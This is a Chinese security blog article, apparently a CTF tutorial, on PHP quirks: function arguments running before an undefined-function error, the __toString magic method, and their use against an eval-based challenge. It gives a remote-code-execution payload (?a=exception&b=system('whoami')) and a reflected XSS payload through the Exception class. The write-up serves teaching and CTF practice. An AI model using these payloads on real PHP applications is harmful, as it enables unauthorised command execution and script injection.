连异常报错也能拿到flag?
2021-10-15 17:21:00 Author: mp.weixin.qq.com(查看原文) 阅读量:11 收藏

原创稿件征集
邮箱:[email protected]
QQ:3200599554
黑客极客技术、信息安全热点
安全研究分析

等安全相关的技术文章
稿件通过并发布还能收获
200-800元不等的稿酬

前言:

本篇将讲述PHP函数以及对象在使用过程中经常出现的错误,通过一个个小实验纠正这些错误,并且从安全的角度出发,利用这些可能存在的错误,捕获这些异常,甚至完成RCE操作。

脸滚键盘打出来的函数也能执行?

没错,该部分内容如上方小标题所示,在PHP中,即使你瞎打的函数,在经过一番调整后,可能程序就能正常运行了。

比如,有如下PHP代码:

<?phptian(phpinfo());

在这一段PHP代码中,随便瞎编了一个函数,并且向函数提供了一个phpinfo()参数,这样的PHP代码能运行起来吗?

当然不能,除非tian这个函数在内部已经自定义好了,否则这一串代码是一定报错的。

那么有没有办法让PHP正常执行这个程序呢?

有,那必须有,甚至只需要一行

<?phpfunction tian(){}tian(phpinfo());

新添加的这一行代码本质上就是给tian这个函数进行一个声明,这样整一个程序就能正常运行了。

这个时候可能就会有小机灵鬼发现了一个问题,在tian这个函数里并没有要求函数需要有输入啊,但是为什么程序就正常执行了呢?

从小开始接触括号的时候,老师就一直强调,有括号的要先算括号内的,程序自然也遵循着这样的原则,有括号的地方,那就先执行括号内的代码,至于后续是否报错,先把括号里的东西执行了再说。

举一反三,既然自定义的函数可以这么操作,那么PHP默认自带的一些函数那肯定也可以这么操作:

举个最常见的函数:

<?php$sql = mysqli_connect(phpinfo(),"root","root","mysql");

mysql_connect作为过程化风格函数,在开发中十分常用,这里我们将数据库连接地址的位置参数写成phpinfo(),这个时候程序可以将phpinfo()打印出来。

至此,大家应该能明白为什么脸滚键盘打出来的函数也能执行了,那么除了函数,脸滚出来的对象能不能执行呢?

为什么我的对象打印不出来?

在初学PHP面向对象的时候,可能经常会犯的一个错误,代码如下:

<?phpclass tian{   public $id = "Lxxx";   function getid(){       return $this->id;  }}
echo new tian();

这个代码报错如下:

这个程序错误就出在想要将对象直接打印出来,想要解决这样的报错,在PHP中有一个自带的魔术方法__toString,这个魔术方法会在对象被当做字符串的时候调用。

因此将上方程序进行修改,修改后的代码如下:

<?phpclass tian{   public $id = "Lxxx";   function getid(){       return $this->id;  }   function __toString(){       return $this->id;  }}
echo new tian();

这个时候,程序就可以正常执行了

这个时候我们修改一下代码:

<?phpclass tian{   public $id;   function __construct($id){       $this->id = $id;  }   function __toString(){       return $this->id;  }}echo new tian(phpinfo());

这个时候,结合上面的内容,应该就能理解这一部分代码

代码执行如下:

程序内如果有一个类,新建对象的时候需要一个参数,这个时候我们往参数里面放phpinfo(),程序会先执行phpinfo()

那么将这两个特性结合起来有什么用呢?

下面就给出一道CTF例题,利用上方的性质,结合异常捕获来达到RCE。

表演一个异常报错实现RCE

题目代码如下:

<?php//flag in flag.phphighlight_file(__FILE__);if ( isset($_GET['a']) && isset($_GET['b'])){   $a = $_GET['a'];   $b = $_GET['b'];   eval("echo new $a($b());");}

关键代码为:eval("echo new $a($b());");

首先,这一部分代码没有自定义的类,因此需要用到PHP中自带的类

我们先测试一下,传payload:?a=mysqli&b=phpinfo

这个时候是正常回显phpinfo,但是想要命令执行还是有些许距离。

因此我们需要找到一个PHP自带类,并且这个类需要有__toString()魔术方法,我们这里找到一个类为Exception

其中PHP官方手册对这个类的__toString()描述如下:

这个类会将传入的异常参数直接输出,那么如果将命令执行作为参数传入呢?

<?phpecho new Exception(system("whoami")());

那就先执行命令,然后将执行命令的结果作为参数传给Exception

所以传payload:?a=exception&b=system("whoami")

这个即可RCE

除此之外,Exception__toString()魔术方法是直接输出,不存在命令执行的过程,因此在这个地方可能存在XSS。

举个例子:

<?phpecho new Exception("$_GET[1]");

这个时候传:?1=<script>alert("XSS");</script>

是可以XSS

当然,还有许多其他的内置类能实现同样的功能,本篇文章就起到一个抛砖引玉的作用。


推荐实操:https://www.hetianlab.com/pages/CTFLaboratory.jsp

“阅读原文”体验免费靶场!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652881827&idx=1&sn=ac8034e6f0e2acf8ad25424f535e586f&chksm=bd59bf6e8a2e367800a48f26126f678e749677ee44abe7dcdfdfd6a913d7f60010c68ad5a04c#rd
如有侵权请联系:admin#unsafe.sh